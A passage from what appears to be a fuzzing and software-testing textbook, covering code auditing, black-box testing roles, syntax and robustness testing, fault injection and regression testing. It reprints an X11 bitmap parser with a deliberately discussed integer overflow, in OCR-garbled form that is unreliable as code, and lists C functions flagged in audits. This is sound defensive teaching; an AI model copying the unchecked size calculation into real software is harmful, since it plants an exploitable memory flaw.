interfaces. Functional testing is always dynamic and is designed on the basis of vari-
ous specification documents produced in different phases of the software develop-
ment process. A functional tester does not necessarily need to know the internals
of the software. Access to the code is unnecessary, although it can be helpful in
designing the tests.

Finally, gray-box testing is a combination of both the white-box and black-box
approaches, and it uses the internals of the software to assist in the design of the
tests of the external interfaces.

White-Box Testing

White-box testing has the benefit of having access to the code. In principle, the
only method of reaching 100% coverage (of some sort) in testing is with white-box
techniques. Different white-box testing techniques can be used to catch suspicious
code during the programming phase and also while the code is being executed. We
will next look at some relevant aspects of white-box testing techniques.

3.5.1 Making the Code Readable

A prerequisite for catching problems is to make the code more readable and thereby
easier to understand and debug. Good programming practices and coding conven-
tions can help in standardizing the code, and they will also help in implementing
various automated tools in the validation process. An example of such quality
improvements is compile-time checks, which will detect use of insecure function
calls and structures.

3.5.2 Inspections and Reviews

Static analysis methods, such as various types of inspections and reviews, are widely
used, and they are critical to the development of good-quality software. Inspections
can focus on software development documents or the actual code. A requirement for
successful inspections and reviews is agreeing on a policy on how the code should
be implemented. Several industry standards from bodies like IEEE have defined
guidelines on how and where inspections and reviews should be implemented.

3.5.3 Code Auditing

The simplest form of white-box testing is code auditing. Some people are more
skilled at noticing flaws in code, including security mistakes, than others. From
the security perspective, the most simple code auditing tools systematically search
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the code looking for vulnerable functions, such as sprintf(), strcpy(), gets(), mem-
cpy(), scanf(), system(), and popen(), because they are often responsible for overflow
problems. Such a simplistic approach will necessarily reveal many false positives
because these functions can be used safely. More complex auditing tools analyze
the entire program’s structure, have models that represent common programming
errors, and compare the structure of the program to these models. Such tools will
greatly reduce the number of false positives as instead of just reporting the use of
‘strcpy,’ it analyzes whether the input is tainted by external data, or if the input has
been validated to be within relevant boundaries.

A code review can take place either offline or during compilation. Some static
analysis tools check the compiled result of the code, analyzing weaknesses in the
assembly code generated during compilation of the software module. Compilers
themselves are also integrated with various quality-aware functionalities, issuing
warnings when something suspicious is seen in the code or in an intermediate rep-
resentation. As mentioned above, the most common problem encountered with code
auditing tools is the number of false-positive issues, which are security warnings that
do not pose a security risk. Another problem with all code-auditing practices is that
they can only find problems they are taught to find. For example, the exploitable
security flaw in the following code snippet from an X11 bitmap-handling routine
might easily be missed by even the most skilled code auditing people and tools:

01 / *Copyright 1987, 1998 The Open Group - Shortened for
presentation!

02 * Code to read bitmaps from disk files. Interprets

03 * data from X10 and X11 bitmap files and creates

04 * Pixmap representations of files.

05 * Modified for speedup by Jim Becker, changed image

06 * data parsing logic (removed some fscanf()s). Aug 5, 1988 */
07

08 int XReadBitmapFileData (_Xconst char *filename,
09 wunsigned int *width, / *RETURNED */
10 unsigned int *height, / *RETURNED */
11 unsigned char **data, / *RETURNED */

12 int *x_hot, / *RETURNED */

13 int *y_hot) / *RETURNED */

14

15 unsigned char *bits = NULL; / *working variable */
16 int size; / *number of data bytes */

17 int padding; / *to handle alignment */

18 int bytes_per_line; / *per scanline of data */

19 unsigned int ww = 0; / *width */

20 unsigned int hh = 0; / *height */

21

22 while (fgets(line, MAX_SIZE, file)) {

23 if (strlen(line) == MAX_SIZE-1) {

24 RETURN (BitmapFilelnvalid);

25 )

26 if (sscanf(line,”fidefine %s %d”,name_and_type,&value) == 2) {
27 if (! (type = strrchr(name_and_type, ‘_’)))
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51
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n+1
n+2
n+3
n+4
n+5
n+6

type = name_and_type;
else
typett;
if (Istrcmp(“width”, type))
ww = (unsigned int) value;
if (Istrcmp(“height”, type))
hh = (unsigned int) value;
continue;
}
if (sscanf(line, “static short %s = {*, name_and_type) == 1)
versionlOp = 1;
else if (sscanf(line,”static unsigned char %s = {“,name_and_type)

=1

versionlOp = 0;
else if (sscanf(line, “static char %s = {*, name_and_type) == 1)
versionlOp = 0;
else
continue;
if (I(type = strrchr(name_and_type, ‘_')))
type = name_and_type;
else
type++;
if (strcmp(“bits[]”, type))

continue;
if (lww __ !'hh)
RETURN (BitmapFilelnvalid);
if ((ww % 16) && ((ww % 16) < 9) && versionlOp)

padding = 1;
else
padding = 0;
bytes_per_line = (ww+7)/8 + padding;

size = bytes_per_line * hh;
bits = (unsigned char *) Xmalloc ((unsigned int) size);
if (lbits)

RETURN (BitmapNoMemory) ;

/* o0 )

*data = bits;
*width = ww;
*height = hh;

return (BitmapSuccess);
}
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The simple integer overflow flaw in this example is on line 64:
bytes_per_line = (ww+7)/8 + padding;

This integer overflow bug does not have an adverse effect on the library routine
itself. However, when returned dimensions of width and height do not agree with
actual data available, this may cause havoc among downstream consumers of data
provided by the library. This indeed took place in most popular Web browsers on the
market and was demonstrated with PROTOS file fuzzers in July 2002 to be exploit-
able beyond denial of service.® Full control over the victim’s browser was gained over
a remote connection. The enabling factor for full exploitability was conversion of
library routine provided image data from row-first format into column-first format.
When width of the image (ww) is in the range of (MAX_UINT6). . MAX_UINT;
that is, 4294967289 . ..4294967295 on 32-bit platforms, the calculation overflows
back into a small integer.

This example is modified from X11 and X10 Bitmap handling routines that
were written as part of the X Windowing System library in 1987 and 1988, over 30
years ago. Since then, this image format has refused to go away, and code to handle
it is widely deployed in open source software and even on proprietary commercial
platforms. Most implementations have directly adopted the original implementa-
tion, and the code has been read, reviewed, and integrated by thousands of skilled
programmers. Very persistently, this flaw keeps reappearing in modern software.

Black-Box Testing

Testing will always be the main software verification and validation technique,
although static analysis methods are useful for improving the overall quality of
documentation and source code. When testing a live system or its prototype, real
data is sent to the target and the responses are compared with various test criteria to
assess the test verdict. In black-box testing, access to the source code is not necessary,
although it will help in improving the tests. Black-box testing is sometimes referred
to as functional testing, but for the scope of this book this definition can be mis-
leading. Black-box testing can test more than just the functionality of the software.

3.6.1 Software Interfaces

In black-box testing, the system under test is tested through its interfaces. Black-box
testing is built on the expected (or nonexpected) responses to a set of inputs fed to
the software through selected interfaces. As mentioned in Chapter 1, the interfaces
to a system can consist of, for example:

6The PROTOS file fuzzers are one of the many tools that were never released by University of Oulu,
but the same functionality was included in the Codenomicon Images suite of fuzzing tools, released
in early 2003.
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 User interfaces: GUI, command line;

+ Network protocols;

+ Data structures such as files;

« System APIs such as system calls and device drivers.

These interfaces can be further broken down into actual protocols or
data structures.

3.6.2 Test Targets

Black-box testing can have different targets. The various names of test targets
include, for example:

 Implementation under test (IUT);
« System under test (SUT);
* Device under test (DUT).

The test target can also be a subset of a system, such as:

+ Function or class;

« Software module or component;

+ Client or server implementation;

« Protocol stack or parser;

« Hardware such as network interface card (NIC);
» Operating system.

The target of testing can vary depending on the phase in the software develop-
ment life cycle. In the earlier phases, the tests can be first targeted to smaller units
such as parsers and modules, whereas in later phases the target can be a complete
network-enabled server farm augmented with other infrastructure components.

3.6.3 Fuzz Testing as a Profession

We have had discussions with various fuzzing specialists with both QA and VA
background, and this section is based on the analysis of those interviews. We will
look at the various tasks from the perspectives of both security and testing profes-
sions. Let’s start with security.

Typically, fuzzing first belongs to the security team. At a software development
organization, the name of this team can be, for example, Product Security Team (PST
for short). Risk assessment is one of the tools in deciding where to fuzz and what
to fuzz, or if to fuzz at all. Security teams are often very small and very rarely have
any budget for tool purchases. They depend on the funding from product develop-
ment organizations. Although fuzzing has been known in QA for decades, the push
to introduce it into development has almost always come from the security team,
perhaps inspired by the increasing security alerts in its own products or perhaps by
new knowledge from books like this. Initially, most security organizations depend
on consultative fuzzing, but very fast most interviewed security experts claimed that
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they have turned almost completely toward in-house fuzzing. The primary reason
usually is that buying fuzzing from consultative sources almost always results in
unmaintained proprietary fuzzers and enormous bills for services that seem to be
repeating themselves each time. Most security people will happily promote fuzzing
tools into the development organization, but many of them want to maintain control
on the chosen tools and veto right on consultative services bought by the develop-
ment groups. This brings us to taking a closer look at the testing organization.

The example testing organization we will explore here is divided into three
segments. One-fourth of the people are focused on tools and techniques, which we
will call T&T. And one-fourth is focused on quality assurance processes, which
we will call QAP. The remaining 50% of testers work for various projects in the
product lines, with varying size teams depending on the project sizes. These will
be referred to as product line testing (PLT) in this text.

The test specialists from the tools and techniques (T&T) division each have focus
on one or more specific testing domains. For example, one dedicated team can be
responsible for performance testing and another on the automated regression runs.
One of the teams is responsible for fuzz testing and in supporting the projects with
their fuzzing needs. The same people who are responsible for fuzzing can also take
care of the white-box security tools. The test specialist can also be a person in the
security auditing team outside the traditional QA organization.

But before any fuzzing tools are integrated into the quality assurance processes,
the requirement needs to come from product management, and the integration of
the new technique has to happen in cooperation with the QAP people. The first
position in the QA process often is not the most optimal one, and therefore the QAP
people need to closely monitor and improve the tactics in testing. The relationship
with security auditors is also a very important task to the QAP people, as every
single auditing or certification process will immediately become very expensive
unless the flaw categories discovered in third-party auditing are already sought
after in the QA process.

The main responsibility for fuzzing is on each individual project manager from
PLT who is responsible for both involving fuzzing into his or her project, and in
reporting the fuzzing results to the customer. PLT is almost always also responsible
for the budget and will need to authorize all product purchases.

When a new fuzzing tool is being introduced to the organization, the main
responsibility for tool selection should still be on the shoulders of the lead test spe-
cialist responsible for fuzzing. If the tool is the first in some category of test automa-
tion, a new person is appointed as the specialist. Without this type of assignment,
the purchases of fuzzing tools will go astray very fast, with the decisions being made
not on the actual quality and efficiency of the tools but on some other criteria such
as vendor relations or marketing gimmicks. And this is not beneficial to the testing
organization. Whereas it does not matter much which performance testing suite is
used, fuzzing tools are very different from their efficiency perspective. A bad fuzzer
is simply just money and time thrown away.

Let’s next review some job descriptions in testing:

* QA Leader: Works for PLT in individual QA projects and selects the used
processes and tools based on company policies and guidelines. The QA leader
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does the test planning, resourcing, staffing, and budget and is typically also
responsible for the QA continuity, including transition of test plans between
various versions and releases. One goal can include integration of test auto-
mation and review of the best practices between QA teams.

QA Technical Leader: Works for T& T-related tasks. He or she is responsible
for researching new tools and best practices of test automation, and doing
tool recommendations. That can include test product comparisons either with
third parties or together with customers. The QA technical leader can also
be responsible for building in-house tools and test scripts that pilot or enable
integration of innovative new ideas and assisting the PLT teams in understand-
ing the test technologies, including training the actual hands-on testers in the
usage of the tools. The QA technical leader can assist QA leader in perform-
ing ROI analysis of new tools and techniques and help with test automation
integration either directly or through guidelines and step-by-step instructions.
He or she can either perform the risk assessments with the product-related
QA teams, or can recommend outsourced contractors that can perform those.
Test Automation Engineer: Builds the test automation harnesses, which can
involve setting up the test tools, building scripts for nightly and weekly tests,
and keeping the regression tests up-to-date. In some complex environments,
the setting up of the target system can be assigned to the actual developers
or to the IT staff. The test automation engineer will see that automated test
executions are progressing as planned, and that the failures are handled and
that the test execution does not stop for any reason. All monitors and instru-
ments are also critical in those tasks.

Test Engineer/Designer: These are sometimes also called manual testers,
although that is becoming more rare. The job of a test engineer can vary
from building test cases for use in conformance and performance testing to
selecting the templates that are used in mutation-based fuzzing, if a large
number of templates is required. Sometimes when manual tasks are required,
the test engineer/designer babysits the test execution to see that it progresses
as planned—for example, by pressing a key every hour, or rebooting the
device after it has failed. Most test automation tools are designed to eliminate
manual testing.

Purposes of Black-Box Testing

Black-box testing can have the following general purposes:

Feature or conformance testing;
Functional security testing;
Functional safety testing;
Interoperability testing;
Performance testing;
Robustness testing.

We will next examine each of these in more detail.
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3.71 Conformance Testing

The first category of black-box testing is feature testing or conformance testing.
The earliest description of the software being produced is typically contained in the
requirements specification. The requirements specification of a specific software
project can also be linked to third-party specifications, such as interface definitions
and other industry standards. In quality assurance processes, the people responsible
for validation evaluate the resulting software product against these specifications and
standards. Such a process aims at validating the conformity of the product against
the specifications. In this book we use the term conformance testing for all testing
that validates features or functional requirements, no matter when or where that
testing actually takes place. In the context of fuzz testing, test cases from a confor-
mance test suite can be used as a seed for a mutation-based fuzzer.

3.7.2 Functional Security Testing

Many of the details for the functional security testing process can be derived from
the conformance test methodology but, in addition to benign, legitimate users, func-
tional security testing also considers the possibility of intentional attacks attempt-
ing to use the resources from the system without legitimate right to use it. Security
requirements are often expressed as negative requirements such as “system should
not accept wrong password”, and therefore single requirement can require tens or
sometimes millions of unique tests to validate the functionality. This is where model-
based fuzzers can help. The process of observations and evaluation regarding test
outcome or expected results, can be very different from traditional functional testing
as they might require extensive instrumentation of the target system. Documents
like ETSI TVRA” and Common Criteria® have been created to describe functional
security testing in the context of system evaluation and certification.

3.7.3 Functional Safety Testing

Functional safety testing is a form of testing applicable to software where malfunc-
tion could cause unacceptable risk of physical injury or of damage to the health of
people either directly or indirectly. The requirements for the testing can be derived
from the standard of functional security, specific for the SUT area of industry. For
example, automotive and medical industry have different set of standards to com-
ply. In regards to fuzzing, understanding the safety requirements and system failure
modes can help in improving the software instrumentation and therefore detection
of safety-related failures when conducting fuzzing.

7ETSI'TS 102 165-1: “Telecommunications and Internet converged Services and Protocols for Advanced
Networking (TISPAN); Methods and protocols; Part 1: Method and proforma for Threat, Risk,
Vulnerability Analysis.”

8ISO/IEC 15408:2009: “Information technology—Security techniques—Evaluation criteria for IT
security—Part 1: Introduction and general model.”
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3.7.4 Interoperability Testing

Interoperability is basically a subset of conformance testing. Interoperability test-
ing is a practical task in which the final product or its prototype is tried against
other industry products, or selected reference products. In real life, true confor-
mance is very difficult if not impossible to reach. But still, the product must at least
be able to communicate with a large number of devices or systems widely used in
the industry. This type of testing can take place at various interoperability events,
where software developers fight it out, in a friendly manner, to see who has the
most conformant product. In some cases, if a dominant player decides to do it his
or her own way, a method that complies with standards may not necessarily be the
correct method. An industry standard can be defined by an industry forum or by
an industry player who controls a major share of the industry. For example, if your
Web application does not work on the most widely used Web browser, even if it is
completely standards compliant, you will probably end up fixing the application
instead of the browser vendor fixing the client software. Interoperability is also an
important feature for a fuzzer because it makes it easier to use the fuzzer to test
multiple different products. Interoperability testing methodology can also be used
in fuzzing to ensure that different products, or product versions, behave similarly
when handling fuzz test cases.

3.7.5 Performance Testing

Performance testing comes from real-use scenarios of the software. When the soft-
ware works according to the feature set and with other vendors’ products, testers
need to assess if the software is efficient enough in real-life use scenarios. There
are different categories of tests for this purpose, including stress testing, perfor-
mance testing, and load testing. In this book we use the term performance testing
for all of these types of tests, whether they test strain conditions in the host itself
or through a load over communication interfaces, and even if the test is done by
profiling the efficiency of the application itself. All these tests aim at making the
software perform fast enough. The metric for final performance can be given as
the number of requests or sessions per given time, the number of parallel users that
can be served, or a number of other metrics. There are many types of throughput
metrics that are relevant to some applications but not to others. Note that many
performance metrics are often confused with quality-of-service metrics. Quality
of service is, for the most part, a subset of performance, or at least it can be fixed
by improving performance. Attacks that aim for denial of service are also typically
exploiting performance issues in software. Some performance testing tools behave
like a fuzzer, injecting more or less valid test cases at a high rate to trigger error
conditions in the target.

3.7.6 Robustness Testing

The fourth black-box testing category is negative testing, or robustness testing.
This is often the most important category from the security perspective. In nega-
tive testing, the software is tortured with semi-valid requests, and the reliability of
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the software is assessed. The sources of negative tests can come from the systems
specifications, such as

» Requirement specifications: These are typically presented as shall not and
must not requirements.

+ System specifications: Physical byte boundaries, memory size, and other
resource limits.

* Design specifications: Illegal state transitions and optional features.

+ Interface specifications: Boundary values and blacklisted characters.

* Programming limitations: Programming language specific limits.

Testing Metrics

There is no single metric for black-box testing, but instead various metrics are
needed with different testing approaches. At least three different levels of metrics
are easily recognized:

- Specification coverage;
« Input space coverage;
« Attack surface coverage.

We will next give a brief overview of these, although they are explained in more
detail in Chapter 4.

3.8.1 Specification Coverage

Specification coverage applies to all types of black-box testing. Tests can only be as
good as the specification they are built from. For example, in voice over IP (VoIP)
testing, a testing tool has to cover about 10 different protocols with somewhere from
one to 30 industry standard specifications for each protocol. A tool that covers only
one specification has smaller test coverage than a tool that covers all of them. All
tests have a specification, whether it is a text document, a machine-understandable
interface model, or a capture of a test session that is then repeated and modified.

3.8.2 Input Space Coverage

Each interface specification defines a range of inputs that can be given to the soft-
ware. This is sometimes represented in BNF form at the end of RFC documents.
Let’s illustrate this with a fictitious example of an interface that consists of two
values: an eight-character string as a user name and a four-digit pin code. Trying
one predefined user name with a small sample of pin codes achieves less input space
coverage than trying all ten thousand pin codes for the same user name.

3.8.3 Interface Coverage

Software has different communication interfaces, and different pieces of code are
touched through each one. Testing just one interface can give you less test coverage
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in the target system than testing two interfaces. Each interface can also consist of
several protocols and protocol layers.

3.8.4 Code Coverage

Different code coverage metrics are available for different purposes. But, be careful
when using them, as code coverage metrics do not necessarily indicate anything about
the quality of the tests to the end customer. In some cases, a test with smaller code
coverage can find more flaws than a test with large code coverage. Code coverage
can also be impossible for the customer to validate.

Black-Box Testing Techniques for Security

Before turning our attention away from a QA focus in fuzzing, we want to sum-
marize the various tools and techniques used in various types of security testing.
Many of these have very little relevance to fuzzing, but might help you resolve some
misconceptions other people have about security testing.

3.9.1 Load Testing

The easiest and best-known attack category to QA people are various DoS situa-
tions. The majority of DoS attacks are based on load. In load testing, the perfor-
mance limitations of the system are tested with fast repetition of a test case and by
running several test instances in parallel. This is relevant to fuzzing because these
tests can be fuzz tests. When a fuzz test is repeated very fast, it can discover prob-
lems that are missed by slowly executing fuzzing tools. One example of such a test
is related to testing for memory leaks or performance problems. If a test case indi-
cates that there could be some problems, the test case can be extracted and loaded
into a performance test tool through the record-and-playback functionality most
of these tools possess. Another benefit from load testing comes when testing proxy
components such as gateways and firewalls. When a load-generation tool is used
in parallel with fuzzing tools, the load-testing tool will help measure the change in
the load tolerance of the system. Fuzz tests under a load can also result in different
test results. All these results are very feasible in a live server, which almost always
will be under a normal system load when an attack arrives.

3.9.2 Stress Testing

A stress test will change the operational environment for the SUT by restricting
access to required resources. Examples of changes include

+ Size and speed of available memory;

« Size and speed of available disk;

* Availability of network resources;

+ The number of processors available and the processing speed of the processors;
+ Environmental variables.
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Most often stress tests are executed in a test automation framework that will
enable you to run the SUT inside a controlled environment such as a sandbox or
software development simulation.

3.9.3 Security Scanners

Using security scanners in software development is common, but this is mostly
because of a misunderstanding of a customer requirement. If a customer requires
that a software developer will run a vulnerability scanner against their product,
it will naturally become part of the software development practice. The pros and
cons of this approach were explained in Chapter 2.

3.9.4 Unit Testing

In unit testing, the SUT consists of a single module used inside the actual appli-
cation. The real application logic can be bypassed by implementing parts of the
functionality in prototypes when the real implementation is still unavailable or by
other replacement implementations when the target is actually a library such as a
file parser or a codec. For example, when testing HTML parsers, you do not neces-
sarily want to run the tests against the full Web browser, but you can use the same
HTML parsing API calls through a test driver. In such a setup, a ten or hundred-
fold increase in the speed of the fuzzing process is easily obtained.

3.9.5 Fault Injection

Traditionally, the term fault injection has meant a hardware testing technique in
which artificial faults are introduced into printed circuit boards. For example, the
connections might be short-circuited, broken, grounded, or stuck to a predefined
value such as 0 or 1. The printed board is then used and the resulting behavior
observed. The purpose is to test the sensitiveness of the hardware for faults (fault
tolerance) emerging during manufacturing or product lifetime. Fault injection can
be used to forecast the behavior of hardware during operations or to guide efforts
on making the hardware more robust against flaws.

Software fault injection has the same operation principle. There are two main
types of fault injection:

+ Data fault injection;
+ Code fault injection.

In short, faults are injected by mutating code or data to assess the response of
a software component for anomalous situations. In code fault injection (also called
mutation testing) the source code is modified to trigger failures in the target sys-
tem. Source code fault injection is best performed automatically, as an efficient fault
injection process can involve hundreds of modifications, each requiring a rebuild
of the target system.

The following two examples include fault injection at source code level.
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Example 1:
char *buffer;
/* buffer =(char*)malloc(BUFFER_LENGTH); */
buffer =NULL;

Example 2:
int divider;
/* divider =a *b +d /max +hi; */
divider =0;

Structural fault injection (source code mutations) can be used for simulating
various situations that are difficult to test otherwise except by modifying the oper-
ating environment:

» Memory allocation failures;
+ Broken connections;

* Disk-full situations;

* Delays.

Data fault injection, on the other hand, is just another name for fuzzing and
consists of injecting faults into data as it is passed between various components.

3.9.6 Syntax Testing

I do not know which was first, syntax testing or fuzzing, and I do not know if that
is even an important question. Testing gurus such as Boris Beizer created syntax
testing, and security experts such as Dr. B.P. Miller stumbled upon fuzzing. Both
of them were published around the same time and were most probably created to
solve the same problem. Let’s start by quoting the beginning of the chapter on syn-
tax testing by Dr. Boris Beizer from 1990:°

Systems that interface with the public must be especially robust and con-
sequently must have prolific input-validation checks. It’s not that the users
of automatic teller machines, say, are willfully hostile, but that there are so
many of them—so many of them and so few of us. It’s the million monkey
phenomenon: A million monkeys sit at a million typewriters for a million
years and eventually one of them will type Hamlet. The more users, the
less they know, the likelier that eventually, on pure chance, someone will
hit every spot at which the system’s vulnerable to bad inputs.

There are malicious users in every population—infuriating people who
delight in doing strange things to our systems. Years ago they’d pound the
sides of vending machines for free sodas. Their sons and daughters invented
the blue box for getting free telephone calls. Now they’re tired of prob-
ing the nuances of their video games and they’re out to attack computers.

9Chapter 9, Section 2.2 unmodified and in its entirety, from Boris Beizer. (1990) Software Testing
Techniques, 2nd ed. International Thomson Computer Press. Quoted with permission.
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They’re out to get you. Some of them are programmers. They’re persistent
and systematic. A few hours of attack by one of them is worse than years
of ordinary use and bugs found by chance. And there are so many of them:
so many of them and so few of us.

Then there’s crime. It’s estimated that computer criminals (using mostly
hokey inputs) are raking in hundreds of millions of dollars annually. A crimi-
nal can do it with a laptop computer from a telephone booth in Arkansas.
Every piece of bad data accepted by a system—every crash-causing input
sequence—is a chink in the system’s armor that smart criminals can use to
penetrate, corrupt, and eventually suborn the system for their own purposes.
And don’t think the system’s too complicated for them. They have your list-
ings, and your documentation, and the data dictionary, and whatever else
they need. There aren’t many of them, but they’re smart, motivated, and
possibly organized.

The purpose of syntax testing is to verify that the system does some form of
input validation on the critical interfaces. Every communication interface presents
an opportunity for malicious use, but also for data corruption. Good software
developers will build systems that will accept or tolerate any data whether it is non-
conformant to the interface specification or just garbage. Good testers, on the other
hand, will subject the systems to the most creative garbage possible. Syntax testing
is not random, but instead it will automate the smart fuzzing process by describ-
ing the operation, structure, and semantics of an interface. The inputs, whether
they are internal or external, can be described with context-free languages such as
Backus-Naur Form (BNF). BNF is an example of a data description language that
can be parsed by an automated test generation framework to create both valid and
invalid inputs to the interface.

The key topic in syntax testing is the description of the syntax. Every input has
a syntax, whether it is formally described or undocumented, or just understood. We
will next explain one notation called BNF with examples. One of the most simple
network protocols is TFTP. And an overly simplified description of TFTP using
BNF would be as follows:

<RRQ> ::= (0x00 0x01) <FILE-NAME> <MODE>
<WRQ> ::= (0x00 0x02) <FILE-NAME> <MODE>
<{MODE> ::= (“octet” | “netascii”) 0x00
{FILE-NAME> ::= { <CHARACTER> } 0x00
{CHARACTER> ::= 0x01 -0x7f

From the above example we can see that there are two types of messages defined,
a read request <RRQ> and a write request <WRQ>. A header of two octets defines
the choice of the message type: (0x00 0x01) versus (0x00 0x02). Both messages
contain two strings: a file name <FILE-NAME> and a transfer mode <MODE->.
The file name can consist of variable length text string built from characters. The
transfer mode can be a zero-terminated text string of two predefined values. The
| character defines an OR operand, which means only one of the values is allowed.
Pretty simple, right?
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The strategy in syntax test design is to add one anomaly (or error) at a time
while keeping all other components of the input structure or message correct.
With a complex interface, this alone typically creates tens of thousands of dirty
tests. When double errors and triple errors are added, the amount of test cases
increases exponentially.

Several different kinds of anomalies (or errors) can be produced in syntax testing:

« Syntax errors: Syntax errors violate the grammar of the underlying language.
Syntax errors can exist on different levels in the grammar hierarchy: top-level,
intermediate-level, and field-level. Simplest field-level syntax errors consist of
arbitrary data and random values. Intermediary and top-level syntax errors
are omitting required elements, repeating, reordering, and nesting any ele-
ments or element substructures.

* Delimiter errors: Delimiters mark the separation of fields in a sentence. In
ASCII-coded languages the fields are normally characters and letters, and
delimiters are white-space characters (space, tab, line-feed, etc.), other delim-
iter characters (commas, semicolons, etc.), or their combinations. Delimiters
can be omitted, repeated, multiplied, or replaced by other unusual characters.
Paired delimiters, such as braces, can be left unbalanced. Wrong unexpected
delimiters can be added at places where they might not be expected.

« Field-value errors: A field-value error is an illegal field in a sentence. Normally,
a field value has a range or many disjoint ranges of allowable values. Field-value
errors can test for boundary-value errors with both numeric and nonnumeric
elements. Values exactly at the boundary range or near the boundary range
should also be checked. Field errors can include values that are one-below,
one-above and totally out-of-range. Tests for fields with integer values should
include boundary values. Use of powers of two plus minus one as boundary
values is encouraged since such a binary system is the typical native presenta-
tion of integers in computers.

+ Context-dependent errors: A context-dependent error violates some property
of a sentence that cannot, in practice, be described by context-free grammar.

« State dependency error: Not all sentences are acceptable in every possible state
of a software component. A state dependency error is, for example, a correct
sentence during an incorrect state.

Note that some people have later used the term syntax testing for auditing of
test specifications. The purpose of such a test is to verify that the syntax in test
definitions in correct. We will ignore this definition for syntax testing in this book.

3.9.7 Negative Testing

Negative testing comes in many forms. The most common type of negative test-
ing is defining negative tests as use cases—for example, if a feature implements an
authentication functionality, a positive test would consist of trying the valid user
name and valid password. Everything else is negative testing, including wrong user
name, wrong password, someone else’s password, and so on. Instead of explaining
the various forms of manual tactics for negative testing, we will focus on explaining
the automated means of conducting negative testing. Kaksonen coined the name
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robustness testing for this type of test automation in his licentiate thesis published
in 2001.1°

The purpose of robustness testing is only to try negative tests and not to care
about the responses from the SUT at all. Robustness testing is a model-based nega-
tive testing approach that generates test cases or test sequences based on a machine-
understandable description of a use case (the model) or a template. The model
consists of protocol building blocks such as messages and sequences of messages,
with various dynamic operations implemented with intelligent tags. Each message
consists of a set of protocol fields, elements that have a defined syntax (form) and
semantics (meaning) defined in a protocol specification. The following enumerates
the various levels of models and contents in the model:

A message structure consists of a set of protocol fields.

+ A message is a context in which its structure is evaluated.
« A dialog is a sequence of messages.

A protocol is a set of dialogs.

As said earlier, robustness testing is an automated means of conducting negative
testing using syntax testing techniques. Robustness testing consists of the following
steps, which are very similar to the steps in syntax testing:'!

1. Identify the interface language.

2. Define the syntax in formal language, if not readily available in the protocol
specification. Use context-free languages such as regular expressions, BNF,
or TTCN. This is the protocol of the interface.

3. Create a model by augmenting the protocol with semantics such as dynami-
cally changing values. As an example, you can define an element that describes
a length field inside the message. This is the model of the protocol.

4. Validate that the syntax (the protocol and the resulting model) is complete
(enough), consistent (enough), and satisfies the intended semantics. This is
often done with manual review. Risk assessment is useful when syntax test-
ing has security auditing purpose to prioritize over a wide range of elements,
messages, and dialogs of messages.

5. Test the syntax with valid values to verify that you will implement at least
the necessary use cases with the model. At this point you should be able to
run the model using test automation frameworks. The model does not need
to be complete for the testing purposes. If the purpose is to do clean testing,
you can stop here.

6. Syntax testing is best suited for dirty testing. For that, you need to identify
elements in the protocol and in the model that need dirty testing. Good
choices are strings, numbers, substructures, loops, and so on.

19Rauli Kaksonen. (2001). A Functional Method for Assessing Protocol Implementation Security
(Licentiate thesis). Espoo. Technical Research Centre of Finland, VTT Publications 447. 128 p. + app.
15 p. ISBN 951-38-5873-1 (soft back ed.) ISBN 951-38-5874-X (online ed.).

17, Roéning, M. Laakso, A. Takanen, & R. Kaksonen. (2002). PROTOS—Systematic Approach to
Eliminate Software Vulnerabilities. Invited presentation at Microsoft Research, Seattle, WA. May
6,2002.
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7. Select input libraries for the above elements. Most data fields and structures
can be tested with predefined libraries of inputs and anomalies, and those
are readily available.

8. Automate test generation and generate test cases. The test cases can be fully
resolved, static binaries. But in most cases the test cases will still need to
maintain the dynamic operations unevaluated.

9. Automate test execution. Automation of static test cases is often simple, but
you need to have scripts or active code involved if the test dialog requires
dynamically changing data.

10. Analyze the results. Defining the pass/fail criteria is the most critical deci-
sion to make, and the most challenging.

The greatest difference from fuzzing is that robustness testing almost never
has any randomness involved. The tests are created by systematically applying a
known set of destructive or anomalous data into the model. The resulting tests are
often built into a test tool consisting of a test driver, test data, test documentation,
and necessary interfaces to the test bed, such as monitoring tools and test control-
lers. The robustness tests can also be released as a test suite, consisting of binary
test cases, or their descriptions for use with other test automation frameworks and
languages such as TTCN. Prebuilt robustness tests are always repeatable and can
be automated in a fashion in which human involvement is minimal. This is suitable
for use in regression testing, for example.

3.9.8 Regression Testing

Testing does not end with the release of the software. Corrections and updates are
required after the software has been launched, and all new versions and patches
need to be verified so that they do not introduce new flaws, or reintroduce old ones.
Postrelease testing is also known as regression testing. Regression testing needs to
be entirely automated, and fast. The tests also need to be very stable and configu-
rable. A minor update to the communication interface can end up invalidating all
regression tests if the tests are very difficult to modify.

Regression testing is the obvious place for recognizing the pesticide paradox.!?
The pesticide paradox is a result of two different laws that apply to software testing:

1. Every testing method you use in software development, or every test case
you implement into your regression testing, will leave a residue of subtler
bugs against which those methods and test are ineffectual. You have to be
prepared to always integrate new techniques and tests into your processes.

2. Software complexity (and therefore the complexity of bugs) grows to the
limits of our ability to manage that complexity. By eliminating easy bugs,
you will allow the complexity of the software to increase to a level where the
more subtle bugs become more numerous, and therefore more significant.

12Boris Beizer. (1990). Software Testing Techniques, 2nd ed., International Thomson Computer Press.
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The more you test the software, the more immune it becomes to your test
cases. The remedy is to continually write new and different tests to exercise differ-
ent parts of the software. Whenever a new flaw is found, it is important to analyze
that individual bug and see if there is a more systematic approach to catching that
and similar mistakes. A common misunderstanding in integrating fuzzing related
regression flaws is to incorporate one single test into the regression test database,
when a more robust solution would be to integrate a suite of test cases to prevent
variants of that flaw.

Therefore, regression tests should avoid any fixed, nondeterministic values
(magic values). A bad security-related example would be regression testing for a
buffer overflow with one fixed length. A flaw that was initially triggered with a
string of 200 characters might later reemerge as a variant that is triggered with 201
characters. Modification of the tests should also not result in missed bugs in the
most recent release of the software. Regression tests should be constantly updated
to catch newly found issues.

Flaws in the regression database give a good overview of past mistakes, and it is
very valuable information for developers and other testers. The regression database
should be constantly reviewed and analyzed from the learning perspective. A bug
database can reveal valuable information about critical flaws and their potential
security consequences. This, in itself, is a metric of the quality of various products.

Testing in Continuous Integration

Continuous integration (CI) is a development practice where developers integrate
their code changes into a shared repository daily, or even more frequently. The idea
behind CI is that if an issue is found during integration it takes less time, and less
money, to locate and fix it when there is only few changes since the previous integra-
tion. Although not originally included in the practice, modern CI systems include
automation that run build and verification for every integration. CI is especially
useful when used with automated unit tests, which are executed on the integrated
platform to avoid interoperability issues and problems that rise from several pro-
grammers working on a single module at the same time. Addition to unit tests, CI
automation can include all the code quality and testing practices previously men-
tioned in this chapter.

